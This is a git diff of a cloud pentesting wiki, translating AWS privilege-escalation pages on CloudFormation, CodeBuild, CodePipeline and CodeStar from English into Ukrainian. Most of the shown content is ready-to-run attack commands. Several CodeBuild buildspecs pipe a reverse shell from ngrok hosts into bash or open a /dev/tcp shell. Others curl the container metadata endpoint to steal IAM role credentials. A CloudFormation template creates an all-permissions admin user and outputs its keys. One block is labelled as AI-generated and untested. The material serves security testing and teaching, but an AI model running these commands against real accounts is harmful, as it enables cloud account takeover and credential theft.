вас є цей дозвіл, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні). -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +`cloudformation:SetStackPolicy` дозволяє **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation, яка вже прикріплена. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +Зловмисник з дозволами на **передачу ролі та створення та виконання ChangeSet** може **створити/оновити новий стек cloudformation і зловживати ролями служби cloudformation** так само, як з CreateStack або UpdateStack. +Наступна експлуатація є **варіацією**[ **CreateStack**](./#iam-passrole-cloudformation-createstack), що використовує **дозволи ChangeSet** для створення стека. ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозволи `ChangeSet`** над стеком і виконати атаку. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**Потенційний вплив:** Привілейоване підвищення до ролей сервісу cloudformation. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +Це схоже на попередній метод без передачі **IAM ролей**, тому ви можете просто **зловживати вже прикріпленими**, просто змініть параметр: ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Потенційний вплив:** Privesc до ролі служби cloudformation, яка вже прикріплена. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation. -**Potential Impact:** Privesc to cloudformation service roles. +**Потенційний вплив:** Privesc до ролей служби cloudformation. ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +Зловмисник може зловживати цим дозволом без дозволу passRole для оновлення StackSets, щоб зловживати прикріпленими ролями cloudformation. -**Potential Impact:** Privesc to the attached cloudformation roles. +**Потенційний вплив:** Privesc до прикріплених ролей cloudformation. -## References +## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..7a7e8526f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,84 +2,74 @@ {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +Зловмисник може, наприклад, використовувати **шаблон cloudformation**, який генерує **ключі для адміністратора** користувача, такі як: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +Тоді **згенеруйте стек cloudformation**: ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**Зачекайте кілька хвилин** на створення стеку, а потім **отримайте вихідні дані** стеку, де **зберігаються облікові дані**: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - -### References +### Посилання - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..f53cb4654 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +Отримайте більше інформації в: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +Тільки з однією з цих дозволів достатньо, щоб запустити збірку з новим buildspec і вкрасти токен iam ролі, призначеної проекту: {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**Примітка**: Різниця між цими двома командами полягає в тому, що: -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild` запускає одну задачу збірки, використовуючи конкретний `buildspec.yml`. +- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, запуск кількох збірок паралельно). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Можливий вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM codebuild**, створивши запущену. {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} -{{#tab name="Example2" }} - +{{#tab name="Приклад2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі AWS Codebuild. > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> У **контейнері Codebuild** файл `/codebuild/output/tmp/env.sh` містить всі змінні середовища, необхідні для доступу до **облікових даних метаданих**. -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Цей файл містить **змінну середовища `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, яка містить **URL-адресу** для доступу до облікових даних. Це буде щось на зразок `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> Додайте це до URL **`http://169.254.170.2/`** і ви зможете вивантажити облікові дані ролі. -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повний URL для отримання **інформації про метадані контейнера**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +Так само, як у попередньому розділі, якщо замість створення проекту збірки ви можете його змінити, ви можете вказати IAM роль і вкрасти токен. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +Як і в попередньому розділі, але **без дозволу `iam:PassRole`**, ви можете зловживати цими дозволами, щоб **модифікувати існуючі проекти Codebuild та отримати доступ до ролі, яку вони вже мають призначену**. {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Потенційний вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild. ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +Маючи **достатньо прав для запуску сесії ssm**, можливо потрапити **в проект Codebuild**, що будується. -The codebuild project will need to have a breakpoint: +Проект codebuild повинен мати точку зупинки:
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entered the pre_build phase...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
-And then: - +А потім: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Для отримання додаткової інформації [**перевірте документацію**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +Зловмисник, який може запустити/перезапустити збірку конкретного проекту CodeBuild, що зберігає свій файл `buildspec.yml` у S3 бакеті, до якого зловмисник має доступ на запис, може отримати виконання команд у процесі CodeBuild. +Примітка: ескалація має значення лише якщо робітник CodeBuild має іншу роль, сподіваємось, більш привілейовану, ніж роль зловмисника. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +Ви можете використовувати щось подібне до цього **buildspec**, щоб отримати **reverse shell**: ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**Вплив:** Пряме підвищення привілеїв до ролі, що використовується працівником AWS CodeBuild, яка зазвичай має високі привілеї. > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити -More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Більше деталей можна знайти [тут](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Потенційний вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..c7f08ee81 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +Для отримання додаткової інформації про codepipeline перегляньте: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +При створенні code pipeline ви можете вказати **IAM роль codepipeline для виконання**, тому ви могли б їх скомпрометувати. -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +Окрім попередніх дозволів, вам знадобиться **доступ до місця, де зберігається код** (S3, ECR, github, bitbucket...) -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Я протестував це, виконуючи процес на веб-сторінці, дозволи, зазначені раніше, не є List/Get, які потрібні для створення codepipeline, але для його створення в вебі вам також знадобляться: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +Під час **створення проекту збірки** ви можете вказати **команду для виконання** (rev shell?) і виконати фазу збірки як **привілейований користувач**, це конфігурація, яку атакуючий потребує для компрометації: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +Можливо, можна змінити роль, що використовується, і команду, що виконується на codepipeline, з попередніми дозволами. ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS згадує](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> Коли цей API викликається, CodePipeline **повертає тимчасові облікові дані для S3 бакету**, що використовується для зберігання артефактів для конвеєра, якщо дія вимагає доступу до цього S3 бакету для вхідних або вихідних артефактів. Цей API також **повертає будь-які секретні значення, визначені для дії**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..912f55dd5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +Ви можете знайти більше інформації про codestar у: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +З цими дозволами ви можете **зловживати роллю IAM codestar** для виконання **произвольних дій** через **шаблон cloudformation**. Перевірте наступну сторінку: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +Ця техніка використовує `codestar:CreateProject` для створення проекту codestar, і `codestar:AssociateTeamMember` для того, щоб зробити користувача IAM **власником** нового проекту CodeStar, що надасть їм **нову політику з кількома додатковими дозволами**. ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +Якщо ви вже є **учасником проекту**, ви можете використовувати дозвіл **`codestar:UpdateTeamMember`** для **оновлення вашої ролі** на власника замість `codestar:AssociateTeamMember`. -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**Потенційний вплив:** Privesc до політики codestar, що була згенерована. Ви можете знайти приклад цієї політики в: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **Створити новий проект:** +- Використовуйте дію **`codestar:CreateProjectFromTemplate`** для ініціювання створення нового проекту. +- Після успішного створення доступ автоматично надається для **`cloudformation:UpdateStack`**. +- Цей доступ специфічно націлений на стек, пов'язаний з роллю IAM `CodeStarWorker--CloudFormation`. +2. **Оновити цільовий стек:** +- З наданими дозволами CloudFormation продовжте оновлення вказаного стеку. +- Ім'я стека зазвичай відповідатиме одному з двох шаблонів: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- Точне ім'я залежить від обраного шаблону (посилаючись на приклад експлойт-скрипта). +3. **Доступ і дозволи:** +- Після оновлення ви отримуєте можливості, призначені для **CloudFormation IAM ролі**, пов'язаної зі стеком. +- Примітка: Це не надає автоматично повних адміністративних привілеїв. Додаткові неправильно налаштовані 